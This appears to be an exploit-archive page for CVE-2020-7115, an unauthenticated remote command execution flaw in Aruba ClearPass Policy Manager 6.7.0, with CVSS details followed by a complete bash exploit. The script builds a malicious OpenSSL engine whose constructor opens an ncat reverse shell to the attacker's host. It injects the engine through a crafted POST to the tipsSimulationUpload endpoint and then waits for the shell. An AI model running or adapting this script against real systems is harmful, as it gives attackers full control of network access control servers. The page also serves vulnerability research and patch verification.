Aruba ClearPass Policy Manager 6.7.0 Unauthenticated Remote Command Execution

2020.07.11
Credit: SpicyItalian
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: Aruba ClearPass Policy Manager 6.7.0 - Unauthenticated Remote Command Execution # Date: 2020-07-06 # Exploit Author: SpicyItalian # Vendor Homepage: https://www.arubanetworks.com/products/security/network-access-control/ # Version: ClearPass 6.7.x prior to 6.7.13-HF, ClearPass 6.8.x prior to 6.8.5-HF, ClearPass 6.9.x prior to 6.9.1 # Tested on: ClearPass 6.7.0 # CVE: CVE-2020-7115 Use of RHEL/CentOS 7.x is recommended to successfully generate the malicious OpenSSL engine. #!/usr/bin/env bash if [ "$#" -ne 4 ]; then echo "Usage: `basename $0` [remote host] [remote port] [local host] [local port]" exit 0 fi cat <<EOF >>payload.c #include <unistd.h> __attribute__((constructor)) static void init() { execl("/bin/sh", "sh", "-c", "rm -f /tmp/clientCertFile*.txt ; sleep 1 ; ncat $3 $4 -e /bin/sh", NULL); } EOF gcc -fPIC -c payload.c gcc -shared -o payload.so -lcrypto payload.o rm -f payload.c payload.o curl -X POST -F 'clientPassphrase=req -engine /tmp/clientCertFile*.txt' -F 'uploadClientCertFile=@./payload.so' -k https://$1:$2/tips/tipsSimulationUpload.action &>/dev/null & cat <<"EOF" /(\ ¡ !´\ | )\ `. | `.) \,-,-- ( / / `'-.,;_/ `---- EOF printf "\nPleasea waita for your spicy shell...\n\n" ncat -v -l $3 $4


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